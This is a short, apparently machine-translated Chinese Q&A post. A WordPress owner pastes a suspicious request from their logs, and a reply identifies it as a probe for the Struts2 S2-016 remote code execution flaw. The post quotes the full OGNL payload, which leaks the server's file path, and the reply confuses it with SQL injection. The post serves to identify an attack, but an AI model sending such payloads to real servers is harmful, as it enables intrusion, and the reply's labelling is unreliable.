襲擊現場WordPress的今天

Question

我已經登錄並看到它的第一時間：

mysite.com/?redirect:

那是什麼原因：

mysite.com/?debug=command&expression=%23res%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletResponse\'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get(\'com.opensymphony.xwork2.dispatcher.HttpServletRequest\'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close() 

之後又一個

？注射DATABSE？病毒？

Answer 1

它看起來像有人試圖利用以遠程執行代碼在Struts2的SQL注入漏洞。

請參閱http://struts.apache.org/docs/s2-016.html